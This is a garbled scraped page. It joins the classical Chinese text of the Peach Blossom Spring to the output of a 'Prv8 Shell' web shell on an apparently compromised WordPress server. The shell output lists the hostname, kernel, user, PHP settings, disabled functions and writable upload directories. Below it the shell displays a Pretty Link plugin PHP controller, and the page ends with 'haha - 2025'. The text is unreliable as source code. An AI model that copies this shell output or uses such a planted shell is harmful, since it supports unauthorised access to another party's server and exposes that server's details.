晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/pretty-link/app/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/www/wp-content/plugins/pretty-link/app/controllers/PrliClicksController.php
<?php
if(!defined('ABSPATH')) { die('You are not allowed to call this page directly.'); }

class PrliClicksController extends PrliBaseController {
  public $max_rows_per_file;

  public function __construct() {
    $this->max_rows_per_file = 5000;
  }

  public function load_hooks() {
    add_action('init', array($this,'route_scripts'));
    add_action('admin_init', array($this, 'auto_trim_clicks'));
  }

  public function route() {
    if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'csv') {
      $this->csv();
    } else {
      $this->admin_page();
    }
  }

  public function route_scripts() {
    if( isset($_GET['action']) && $_GET['action'] == 'prli_download_csv_hit_report' ) {
      $this->click_report();
      exit;
    }
  }

  public function auto_trim_clicks() {
    global $prli_options, $prli_click;

    if($prli_options->auto_trim_clicks) {
      $last_run = get_option('prli_auto_trim_clicks_last_run', 0);
      $now      = time();

      //Run once per day at most
      if(($now - $last_run) > 86400) {
        $prli_click->clear_clicks_by_age_in_days(90);
        update_option('prli_auto_trim_clicks_last_run', time());
        wp_cache_delete('alloptions', 'options');
      }
    }
  }

  public function admin_page() {
    global $wpdb, $prli_options, $prli_click, $prli_link, $prli_utils, $page_size;

    $page_params = '';

    $params = $prli_click->get_params_array();
    $page_size = (isset($_REQUEST['size']) && is_numeric($_REQUEST['size']) && !empty($_REQUEST['size']))?(int)$_REQUEST['size']:10;
    $current_page = $params['paged'];

    $start_timestamp = $prli_utils->get_start_date($params);
    $end_timestamp = $prli_utils->get_end_date($params);

    $start_timestamp = mktime(0, 0, 0, date('n', $start_timestamp), date('j', $start_timestamp), date('Y', $start_timestamp));
    $end_timestamp   = mktime(0, 0, 0, date('n', $end_timestamp),   date('j', $end_timestamp),   date('Y', $end_timestamp)  );

    $sdyear = date('Y',$start_timestamp);
    $sdmon  = date('n',$start_timestamp);
    $sddom  = date('j',$start_timestamp);

    $edyear = date('Y',$end_timestamp);
    $edmon  = date('n',$end_timestamp);
    $eddom  = date('j',$end_timestamp);

    $where_clause = $wpdb->prepare(
      " cl.created_at BETWEEN '%d-%d-%d 00:00:00' AND '%d-%d-%d 23:59:59'",
      $sdyear,$sdmon,$sddom,$edyear,$edmon,$eddom );

    if(!empty($params['sdate']) and preg_match('/^\d\d\d\d-\d\d-\d\d$/', $params['sdate'])) {
      $page_params .= "&sdate={$params['sdate']}";
    }

    if(!empty($params['edate']) and preg_match('/^\d\d\d\d-\d\d-\d\d$/', $params['edate'])) {
      $page_params .= "&edate={$params['edate']}";
    }

    if(!empty($params['l']) and $params['l'] != 'all') {
      $where_clause .= (($params['l'] != 'all') ? $wpdb->prepare(' AND cl.link_id=%d', $params['l']):'');
      $link_name = $wpdb->get_var($wpdb->prepare("SELECT name FROM {$wpdb->prefix}prli_links WHERE id=%d", $params['l']));
      $link_slug = $wpdb->get_var($wpdb->prepare("SELECT slug FROM {$wpdb->prefix}prli_links WHERE id=%d", $params['l']));

      $page_params .= "&l={$params['l']}";
    }
    else if(!empty($params['ip'])) {
      $link_name = __('IP Address: ', 'pretty-link') . esc_html($params['ip']);
      $where_clause .= $wpdb->prepare(" AND cl.ip=%s", $params['ip']);
      $page_params .= "&ip={$params['ip']}";
    }
    else if(!empty($params['vuid'])) {
      $link_name = __('Visitor: ', 'pretty-link') . esc_html($params['vuid']);
      $where_clause .= $wpdb->prepare(" AND cl.vuid=%s",$params['vuid']);
      $page_params .= "&vuid={$params['vuid']}";
    }
    else {
      $link_name = __('All Links', 'pretty-link');
      $where_clause .= "";
      $page_params .= "";
    }

    if($params['type'] == 'unique') {
      $where_clause .= ' AND first_click=1';
      $page_params .= '&type=unique';
    }

    $click_vars = PrliClicksHelper::get_click_sort_vars($params,$where_clause);
    $sort_params = $page_params . $click_vars['sort_params'];
    $page_params .= $click_vars['page_params'];
    $sort_str = $click_vars['sort_str'];
    $sdir_str = $click_vars['sdir_str'];
    $search_str = $click_vars['search_str'];

    $where_clause = $click_vars['where_clause'];
    $order_by = $click_vars['order_by'];
    $count_where_clause = $click_vars['count_where_clause'];

    $record_count = $prli_click->getRecordCount($count_where_clause);
    $page_count = $prli_click->getPageCount($page_size,$count_where_clause);
    $clicks = $prli_click->getPage($current_page,$page_size,$where_clause,$order_by,true);
    $page_last_record = $prli_utils->getLastRecordNum($record_count,$current_page,$page_size);
    $page_first_record = $prli_utils->getFirstRecordNum($record_count,$current_page,$page_size);

    require_once(PRLI_VIEWS_PATH.'/clicks/list.php');
  }

  public function click_report() {
    global $wpdb, $prli_click, $prli_link;

    if(isset($_GET['l'])) {
      $l = (int) $_GET['l'];
      $where_clause = $wpdb->prepare(" link_id=%d",$l );
      $link_name = $wpdb->get_var($wpdb->prepare("SELECT name FROM {$wpdb->prefix}prli_links WHERE id=%d",$l));
      $link_slug = $wpdb->get_var($wpdb->prepare("SELECT slug FROM {$wpdb->prefix}prli_links WHERE id=%d",$l));
    }
    else if(isset($_GET['ip'])) {
      $ip = stripslashes($_GET['ip']);
      if (filter_var($ip, FILTER_VALIDATE_IP)) {
        $ip = PrliClicksHelper::esc_spreadsheet_cell($ip);
        $link_name = "ip_addr_{$ip}";
        $where_clause = $wpdb->prepare(" cl.ip=%s", $ip);
      }
    }
    else if(isset($_GET['vuid'])) {
      $vuid = sanitize_key(stripslashes($_GET['vuid']));
      $link_name = "visitor_{$vuid}";
      $where_clause = $wpdb->prepare(" cl.vuid=%s",$vuid);
    }
    else {
      $link_name = "all_links";
      $where_clause = "";
    }

    $link_name = stripslashes($link_name);
    $link_name = preg_replace('#[ ,]#','',$link_name);

    $record_count = $prli_click->getRecordCount($where_clause);
    $page_count   = (int)ceil($record_count / $this->max_rows_per_file);
    $prli_page = isset($_GET['prli_page']) ? (int) $_GET['prli_page'] : 1;
    $hmin = 0;

    if($prli_page) {
      $hmin = ($prli_page - 1) * $this->max_rows_per_file;
    }

    if($prli_page==$page_count) {
      $hmax = $record_count;
    }
    else {
      $hmax = ($prli_page * $this->max_rows_per_file) - 1;
    }

    $hlimit = "{$hmin},{$this->max_rows_per_file}";
    $clicks = $prli_click->getAll($where_clause,'',false,$hlimit);

    require_once PRLI_VIEWS_PATH . '/clicks/csv.php';
  }

  public function csv() {
    global $wpdb, $prli_blogurl, $prli_link, $prli_click, $prli_group;

    $param_string = $where_clause = '';

    if(isset($_GET['l'])) {
      $l = (int) $_GET['l'];
      $where_clause = $wpdb->prepare(' link_id=%d', $l);
      $link_name = $wpdb->get_var($wpdb->prepare("SELECT name FROM {$wpdb->prefix}prli_links WHERE id=%d", $l));
      $link_slug = $wpdb->get_var($wpdb->prepare("SELECT slug FROM {$wpdb->prefix}prli_links WHERE id=%d", $l));
      $param_string .= "l={$l}";
    }
    else if(isset($_GET['ip'])) {
      $ip = stripslashes($_GET['ip']);
      if (filter_var($ip, FILTER_VALIDATE_IP)) {
        $ip = PrliClicksHelper::esc_spreadsheet_cell($_GET['ip']);
        $link_name = "ip_addr_{$ip}";
        $where_clause = $wpdb->prepare(' cl.ip=%s', $ip);
        $param_string .= "ip={$ip}";
      }
    }
    else if(isset($_GET['vuid'])) {
      $vuid = sanitize_key(stripslashes($_GET['vuid']));
      $link_name = "visitor_{$vuid}";
      $where_clause = $wpdb->prepare(' cl.vuid=%s', $vuid);
      $param_string .= "vuid={$vuid}";
    }
    else {
      $link_name = 'all_links';
    }

    $hit_record_count = $prli_click->getRecordCount($where_clause);
    $hit_page_count   = (int)ceil($hit_record_count / $this->max_rows_per_file);

    $param_string   = (empty($param_string)?'':"&{$param_string}");
    $hit_report_url = "{$prli_blogurl}/index.php?action=prli_download_csv_hit_report{$param_string}";

    $max_rows_per_file = $this->max_rows_per_file;

    require_once PRLI_VIEWS_PATH . '/clicks/csv_download.php';
  }
}

haha - 2025